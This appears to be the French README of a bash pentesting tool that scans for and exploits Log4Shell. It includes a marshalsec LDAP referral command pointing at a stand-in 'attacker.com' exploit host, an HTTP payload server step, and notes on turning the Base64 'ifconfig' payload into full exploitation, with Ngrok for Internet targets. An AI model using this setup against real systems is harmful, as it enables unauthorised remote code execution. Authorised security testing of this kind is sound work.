Log4Shell-Scanner-Exploit
Script en bash permettant d'identifier et/ou d'exploiter la vulnérabilité Log4shell à distance.
Cet outil effectue différents tests en utilisant des payloads LDAP et les en-têtes X-Api-Version, User-Agent et X-Forwarded-For.
Toujours utiliser ce script avec l'autorisation préalable du propriétaire du service/application audité(e).
Dépendances :
- Nous allons créer un serveur LDAP préconfiguré depuis Github: https://github.com/mbechler/marshalsec
mvn clean package -DskipTests && Java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec.jndi.LDAPRefServer 'http://attacker.com/#exploit'
-
Nous activons un serveur HTTP
python3 -m http.server 8080
-
Avoir Java installé
#sudo apt install default-jre
-
Avoir Curl installé
#sudo apt-get install curl
Exemple d'utilisation :
Saisir les paramètres suivants :
- Liste des URLs à scanner
- Adresse IP du serveur LDAP
- Port du serveur LDAP
- Adresse IP du serveur HTTP
- Port du serveur HTTP
#Exemple de scan d'application en réseau interne :
- ./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>

#Exemple de scan d'application sur Internet :
- ./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>

Clarifications :
- Le payload utilisé envoie une commande "ifconfig" aux machines identifiées comme vulnérables. Ce payload est codé en Base64 et peut être modifié pour réaliser la phase d'exploitation lors d'un audit de pentesting.
- Si l'on souhaite utiliser l'outil sur des services Internet, on peut lancer un service Ngrok qui fera un port forwarding vers le port local du serveur LDAP.
- Toujours utiliser ce script avec l'autorisation préalable du propriétaire du service/application analysé(e).